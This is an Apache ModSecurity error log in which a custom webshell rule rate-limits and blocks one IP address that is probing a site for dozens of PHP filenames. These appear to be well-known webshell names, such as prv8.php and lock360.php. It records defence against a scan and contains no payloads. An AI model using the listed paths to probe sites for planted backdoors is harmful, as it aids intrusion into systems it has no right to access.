[Fri Feb 27 08:14:55.917227 2026] [:error] [pid 54103:tid 54195] [client 51.12.82.80:23221] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh_-vG4MPCmE0B2sDfhwAAANg"]
[Fri Feb 27 08:14:56.454582 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:34437] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aaDiAOTvb5AeyJCdY7ALEwAAAFA"]
[Fri Feb 27 08:14:57.010348 2026] [:error] [pid 54102:tid 54161] [client 51.12.82.80:4722] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aaDiAXi74D4fiYUm_GfIYQAAAJE"]
[Fri Feb 27 08:14:57.565683 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:7959] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aaDiAeTvb5AeyJCdY7ALGgAAAEI"]
[Fri Feb 27 08:14:58.110982 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:8869] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aaDiAuTvb5AeyJCdY7ALHwAAAEc"]
[Fri Feb 27 08:14:58.638249 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:28891] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaDiAuvG4MPCmE0B2sDfkgAAAMs"]
[Fri Feb 27 08:14:59.164697 2026] [:error] [pid 54101:tid 54124] [client 51.12.82.80:25800] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaDiA1Y5qgRktcYTGFuwzQAAAdA"]
[Fri Feb 27 08:14:59.699301 2026] [:error] [pid 54101:tid 54121] [client 51.12.82.80:35219] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaDiA1Y5qgRktcYTGFuw0AAAAc0"]
[Fri Feb 27 08:15:00.236886 2026] [:error] [pid 54103:tid 54177] [client 51.12.82.80:33726] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaDiBOvG4MPCmE0B2sDfmwAAAMY"]
[Fri Feb 27 08:15:00.760747 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:36158] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaDiBOTvb5AeyJCdY7ALMgAAAFA"]
[Fri Feb 27 08:15:01.291601 2026] [:error] [pid 54102:tid 54169] [client 51.12.82.80:12027] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaDiBXi74D4fiYUm_GfIagAAAJg"]
[Fri Feb 27 08:15:01.831584 2026] [:error] [pid 54103:tid 54189] [client 51.12.82.80:12009] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaDiBevG4MPCmE0B2sDfngAAANI"]
[Fri Feb 27 08:15:02.382142 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:10237] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaDiBuvG4MPCmE0B2sDfnwAAANM"]
[Fri Feb 27 08:15:02.909623 2026] [:error] [pid 54103:tid 54191] [client 51.12.82.80:8862] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aaDiBuvG4MPCmE0B2sDfogAAANQ"]
[Fri Feb 27 08:15:03.446257 2026] [:error] [pid 54101:tid 54124] [client 51.12.82.80:7953] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aaDiB1Y5qgRktcYTGFuw3QAAAdA"]
[Fri Feb 27 08:15:04.014568 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:12210] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aaDiCOTvb5AeyJCdY7ALQgAAAFA"]
[Fri Feb 27 08:15:04.548291 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:35204] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aaDiCOTvb5AeyJCdY7ALRwAAAE8"]
[Fri Feb 27 08:15:05.074294 2026] [:error] [pid 54102:tid 54157] [client 51.12.82.80:13037] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aaDiCXi74D4fiYUm_GfIbAAAAI0"]
[Fri Feb 27 08:15:05.599887 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:2305] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aaDiCVY5qgRktcYTGFuw6AAAAdI"]
[Fri Feb 27 08:15:06.129091 2026] [:error] [pid 54102:tid 54146] [client 51.12.82.80:18146] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aaDiCni74D4fiYUm_GfIcAAAAII"]
[Fri Feb 27 08:15:06.664482 2026] [:error] [pid 54101:tid 54125] [client 51.12.82.80:5868] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aaDiClY5qgRktcYTGFuw8AAAAdE"]
[Fri Feb 27 08:15:07.194875 2026] [:error] [pid 54103:tid 54178] [client 51.12.82.80:33674] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aaDiC-vG4MPCmE0B2sDfqgAAAMc"]
[Fri Feb 27 08:15:07.726577 2026] [:error] [pid 54103:tid 54195] [client 51.12.82.80:2307] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aaDiC-vG4MPCmE0B2sDfqwAAANg"]
[Fri Feb 27 08:15:08.274318 2026] [:error] [pid 54101:tid 54110] [client 51.12.82.80:5831] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aaDiDFY5qgRktcYTGFuw9gAAAcI"]
[Fri Feb 27 08:15:08.803353 2026] [:error] [pid 54102:tid 54168] [client 51.12.82.80:12591] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aaDiDHi74D4fiYUm_GfIfgAAAJc"]
[Fri Feb 27 08:15:09.333588 2026] [:error] [pid 54101:tid 54120] [client 51.12.82.80:12193] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaDiDVY5qgRktcYTGFuw_QAAAcw"]
[Fri Feb 27 08:15:09.864177 2026] [:error] [pid 54102:tid 54157] [client 51.12.82.80:7716] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaDiDXi74D4fiYUm_GfIgQAAAI0"]
[Fri Feb 27 08:15:10.410791 2026] [:error] [pid 54101:tid 54127] [client 51.12.82.80:13022] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaDiDlY5qgRktcYTGFuxAgAAAdM"]
[Fri Feb 27 08:15:10.940111 2026] [:error] [pid 54103:tid 54192] [client 51.12.82.80:19613] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaDiDuvG4MPCmE0B2sDfsgAAANU"]
[Fri Feb 27 08:15:11.468502 2026] [:error] [pid 54103:tid 54185] [client 51.12.82.80:19634] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaDiD-vG4MPCmE0B2sDftQAAAM4"]
[Fri Feb 27 08:15:12.000090 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:12220] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaDiD-Tvb5AeyJCdY7ALVQAAAEg"]
[Fri Feb 27 08:15:12.526783 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:10193] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaDiEOTvb5AeyJCdY7ALWQAAAE4"]
[Fri Feb 27 08:15:13.064993 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:35243] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaDiEeTvb5AeyJCdY7ALXQAAAFI"]
[Fri Feb 27 08:15:13.596630 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:12212] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaDiEevG4MPCmE0B2sDfuAAAANc"]
[Fri Feb 27 08:15:14.124071 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:18122] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaDiEuTvb5AeyJCdY7ALYgAAAEw"]
[Fri Feb 27 08:15:14.650729 2026] [:error] [pid 54103:tid 54179] [client 51.12.82.80:12548] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaDiEuvG4MPCmE0B2sDfvQAAAMg"]
[Fri Feb 27 08:15:15.176961 2026] [:error] [pid 54103:tid 54195] [client 51.12.82.80:12607] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaDiE-vG4MPCmE0B2sDfwQAAANg"]
[Fri Feb 27 08:15:15.708147 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:35298] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aaDiE-Tvb5AeyJCdY7ALZwAAAEg"]
[Fri Feb 27 08:15:16.234674 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:11668] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aaDiFOTvb5AeyJCdY7ALaAAAAEo"]
[Fri Feb 27 08:15:16.769440 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:18144] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aaDiFOTvb5AeyJCdY7ALawAAAFA"]
[Fri Feb 27 08:15:17.296107 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:35203] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aaDiFeTvb5AeyJCdY7ALcQAAAE8"]
[Fri Feb 27 08:15:17.861185 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:27713] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaDiFeTvb5AeyJCdY7ALdAAAAEw"]
[Fri Feb 27 08:15:18.416603 2026] [:error] [pid 54231:tid 54238] [client 51.12.82.80:12571] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaDiFuTvb5AeyJCdY7ALdwAAAEQ"]
[Fri Feb 27 08:15:18.944261 2026] [:error] [pid 54103:tid 54191] [client 51.12.82.80:35860] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaDiFuvG4MPCmE0B2sDfxQAAANQ"]
[Fri Feb 27 08:15:19.473748 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:12189] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aaDiF-Tvb5AeyJCdY7ALewAAAEo"]
[Fri Feb 27 08:15:20.013732 2026] [:error] [pid 54103:tid 54193] [client 51.12.82.80:7725] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaDiGOvG4MPCmE0B2sDfygAAANY"]
[Fri Feb 27 08:15:20.547657 2026] [:error] [pid 54102:tid 54150] [client 51.12.82.80:35883] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaDiGHi74D4fiYUm_GfIkgAAAIY"]
[Fri Feb 27 08:15:21.075272 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:11323] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaDiGeTvb5AeyJCdY7ALfwAAAFg"]
[Fri Feb 27 08:15:21.605951 2026] [:error] [pid 54103:tid 54179] [client 51.12.82.80:12553] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aaDiGevG4MPCmE0B2sDfzgAAAMg"]
[Fri Feb 27 08:15:22.162146 2026] [:error] [pid 54231:tid 54245] [client 51.12.82.80:7733] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aaDiGuTvb5AeyJCdY7ALgwAAAEs"]
[Fri Feb 27 08:15:22.690484 2026] [:error] [pid 54103:tid 54173] [client 51.12.82.80:19267] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aaDiGuvG4MPCmE0B2sDf0QAAAMI"]
[Fri Feb 27 08:15:23.218756 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:12213] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aaDiG1Y5qgRktcYTGFuxJQAAAdI"]
[Fri Feb 27 08:15:23.750340 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:2284] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aaDiG-Tvb5AeyJCdY7ALhgAAAFU"]
[Fri Feb 27 08:15:24.279676 2026] [:error] [pid 54103:tid 54174] [client 51.12.82.80:35866] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDiHOvG4MPCmE0B2sDf1gAAAMM"]
[Fri Feb 27 08:15:24.807036 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:32780] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDiHOTvb5AeyJCdY7ALhwAAAEM"]
[Fri Feb 27 08:15:25.330157 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:32824] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaDiHevG4MPCmE0B2sDf2gAAAMs"]
